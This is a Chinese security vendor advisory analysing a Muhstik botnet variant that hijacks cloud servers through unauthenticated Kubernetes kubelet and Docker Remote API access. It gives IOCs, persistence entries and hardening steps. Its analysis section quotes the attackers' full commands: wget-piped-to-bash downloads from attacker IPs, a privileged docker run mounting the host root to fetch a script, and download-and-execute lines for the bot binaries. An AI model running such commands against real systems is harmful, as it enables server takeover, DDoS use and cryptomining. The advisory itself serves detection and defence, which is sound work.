Muhstik僵尸网络变种攻击容器管理系统Kubernetes,漏洞危及2万台服务器安全

2021-04-03 08:06:44
Muhstik僵尸网络新变种利用Kubernetes kubelet API未授权访问漏洞和Docker Remote API未授权访问漏洞攻击云服务器,利用漏洞攻击得手之后,Muhstik会安装IRC后门对失陷系统进行远程控制。随后可下发任意命令执行,包括下载安装挖矿模块、执行DDoS攻击等。

一、概述

腾讯安全专家在对企业客户进行日常安全巡检时,发现利用漏洞攻击的告警信息。经威胁溯源和样本分析,判断该客户遭遇Muhstik僵尸网络新变种攻击。因发现及时,该企业未受损失。

Muhstik僵尸网络新变种利用Kubernetes kubelet API未授权访问漏洞和Docker Remote API未授权访问漏洞攻击云服务器,利用漏洞攻击得手之后,Muhstik会安装IRC后门对失陷系统进行远程控制。随后可下发任意命令执行,包括下载安装挖矿模块、执行DDoS攻击等。

通过检索腾讯安全威胁情报数据,发现云主机配置Docker开放默认端口且未开启认证及配置Kubernetes开放默认端口未开启认证的网络资产合计数千个。通过腾讯安全网络空间测绘,发现全网潜在上述漏洞风险的网络资产约20万个,中国大陆地区有近2万个,全球占比约8.87%

DockerKubernetes是云计算的基础软件,Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中。生产型应用会涉及多个容器, Kubernetes对容器进行编排和管理,Kubernetes的目标是让部署容器化的应用更简单并且高效。DockerKubernetes在大幅提高数字化生产力的同时,也引入了大量安全风险,错误使用可能导致整个主机集群的沦陷。

Muhstik僵尸网络在2018年被发现,其早期版本主要利用Drupal RCE漏洞(CVE-2018-7600),WebLogic反序列化RCE漏洞(CVE-2019-2725),WebLogic反序列化RCE漏洞(CVE-2017-10271)以及SSH弱口令爆破攻击传播。

二、排查和加固

腾讯安全专家建议政企机构安全运维人员针对以下条目进行排查和清除:

文件

pty

pty1

pty2

pty3

pty4

pty5

pty10

pty11

.kswapd

xmra32

xmra64

dk32

dk86

目录

/data/*/pty*

/tmp/pty*

/root/pty*

/home/[username]/pty*

/var/tmp/pty*

/home/[username]/.cache/.kswapd

/tmp/xmra64

/root/*/xmra64

/dev/shm/xmra64

定时任务(crontab -l):

* * * * * /dev/shm/dk32

* * * * * /var/tmp/dk32

* * * * * /var/lock/dk32

* * * * * /var/run/dk32

* * * * * /dev/shm/pty*

* * * * * /var/tmp/pty*

* * * * * /var/lock/pty*

* * * * * /var/run/pty*

启动项(cat /etc/inittab

0:2345:respawn:/dev/shm/pty*

0:2345:respawn:/var/tmp/pty*

0:2345:respawn:/var/lock/pty*

0:2345:respawn:/var/run/pty*

0:2345:respawn:/dev/shm/dk*
0:2345:respawn:/var/tmp/dk*
0:2345:respawn:/var/lock/dk*
0:2345:respawn:/var/run/dk*

修复高危漏洞:

修复Docker未授权访问漏洞
1. Docker Remote API
2375端口非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;

2.
排查当前主机docker的容器,检查是否存在非正常容器,若有将其停止并删除;

3.
排查.ssh/authorized_keys/etc/passwd/etc/shadow是否被修改或者被新增用户;

修复Kubernetes未授权访问漏洞
1. kubelet API
10250端口非必要情况不要暴露在公网,如必须暴露公网 ,则需要配置访问控制策略;

2. kubelet 
监听在本地:
--address=127.0.0.1

3. kubelet server 
禁止匿名访问:
--anonymous-auth=false

4. 
配置证书:
--client-ca-file=path/to/ca
--kubelet-client-certificate
--kubelet-client-key

三、解决方案建议:

腾讯安全专家建议政企客户部署腾讯云原生安全方案保护主机,尽快修复上述多个高危漏洞风险,避免遭遇Muhstik僵尸网络团伙的攻击,腾讯安全全系列产品已支持对Muhstik僵尸网络攻击的各个环节进行检测防御。

通过部署腾讯主机安全(云镜)对公有云资产进行扫描,检测云主机是否存在Docker未授权访问漏洞Kubernetes未授权访问漏洞,再按推荐的建议对存在漏洞的主机进行修复。

腾讯云防火墙基于网络流量进行威胁检测与主动拦截,阻断恶意攻击流量,阻断恶意通信流量。腾讯云防火墙集成腾讯云全网的威胁情报,可实时监测云上主机的失陷情况,可对恶意主动外联活动智能拦截。可通过虚拟补丁技术积极防御高危漏洞风险,而无需重启系统,不影响业务正常运行。

安全运维人员可配置高危事件发生时,发送短信通知运维人员及时处置。

配置腾讯云防火墙的入侵防御功能,将“防护模式”从“观察模式”修改为“拦截模式”,可实现自动阻断入侵活动。

腾讯云防火墙设计了基于身份的访问控制功能,通过微信账号扫码认证的形式管控云服务器的远程登录,可以从源头防御服务器被弱口令暴破攻击的风险。

详细配置方法可参考腾讯云防火墙操作指南->访问控制->身份访问控制->配置步骤和远程登录:https://cloud.tencent.com/document/product/1132/53010

四、详细分析

Kubernetes Kubelet API未授权访问漏洞

Muhstik僵尸网络通过执行以下命令下载和执行bash脚本“kubepy”进行kubernetes服务扫描和攻击:

sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;wget -qO - hxxp://159.89.91.223/wp-content/themes/twentyseventeen/kubepy | bash > /dev/null 2>&1 &

kubepy安装扫描工具masscan对指定IP范围进行kubernetes服务的10250端口扫描探测。利用Kubelet API未授权访问漏洞对容器节点进行攻击、下载和执行恶意shell脚本d

Docker Remote API未授权访问漏洞

Docker Remote API未授权访问漏洞有严重风险,使用docker swarm管理的docker节点上开放一个TCP端口2375,绑定 IP 为: 0.0.0.0, 且暴露在公网上。导致攻击者可以远程管理该主机的 docker 容器,可启动、下载、重启镜像,甚至删除上面的容器。

目前漏洞的利用方式已被公开。

(https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py)

Muhstik僵尸网络通过执行以下命令下载和执行bash脚本“dock”进行Docker服务扫描和攻击:

sh -c export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;wget -qO - hxxp://159.89.91.223/wp-content/themes/twentyseventeen/dock | bash > /dev/null 2>&1 &

针对获取到的攻击目标,利用Docker未授权访问漏洞进行攻击,成功后执行shell脚本d

timeout -s SIGKILL 240 docker -H tcp://$IPADDR:$PORT run -d --privileged --net host -v /:/mnt alpine sh -c 'wget -qO - hxxp://34.66.229.152:80/wp-content/themes/twentyseventeen/d | sh; tail -f /dev/null' &

恶意shell脚本d

恶意shell脚本d负责下载植入muhstik僵尸网络木马dk32/dk86:

wget hxxp://159.89.91.223/.x/dk32 -O dk32; chmod +x dk32 ; chmod 700 dk32 ; ./dk32 &

wget hxxp://159.89.91.223/.x/dk86 -O dk86; chmod +x dk86 ; chmod 700 dk86 ; ./dk86 &

再通过安装定时任务实现持久化,与IRC C2服务器dkrd.exposedbotnets.ru通信。

最后通过执行shell下载XMRig挖矿木马xmra32进行挖矿计算。

通过腾讯安图高级威胁追溯系统反查IP得到矿池域名xmr.shadow-mods.net

IOCs

MD5

dk32

4e008e203fbd98a1a487c02337b376d8

dk86

8b13ce9b843a5e9ee63d2df42eebd74b

xmra64

6659c468fe38506f45792a2b32186d50

xmra64

497f4e24464a748c52f92de1fba33551

xmra32

23096e4fa69f8ee54015d2cfdd26ec03

URL

hxxp://34.66.229.152:80/wp-content/themes/twentyseventeen/d

hxxp://159.89.91.223/wp-content/themes/twentyseventeen/dock

hxxp://159.89.91.223/wp-content/themes/twentyseventeen/kubepy

hxxp://157.245.236.203:80/wp-content/themes/twentysixteen/m8

hxxp://157.230.189.52/wp-content/themes/twentynineteen/xmra64

hxxp://157.230.189.52/wp-content/themes/twentynineteen/xmra32

hxxp://172.105.241.146/kuberep.php

hxxp://172.105.241.146/dockrep.php

hxxp://159.89.91.223/.x/dk32

hxxp://159.89.91.223/.x/dk86

参考链接:

https://www.freebuf.com/vuls/196993.html

http://screwsec.com/2020/05/30/Kubernetes%E5%AE%89%E5%85%A8/

https://blog.netlab.360.com/botnet-muhstik-is-actively-exploiting-drupal-cve-2018-7600-in-a-worm-style/

https://unit42.paloaltonetworks.com/muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices/

https://www.lacework.com/meet-muhstik-iot-botnet-infecting-cloud-servers/


扫描以下二维码关注“腾讯安全威胁情报中心”公众号,掌握最新的网络安全威胁情报。



最新资讯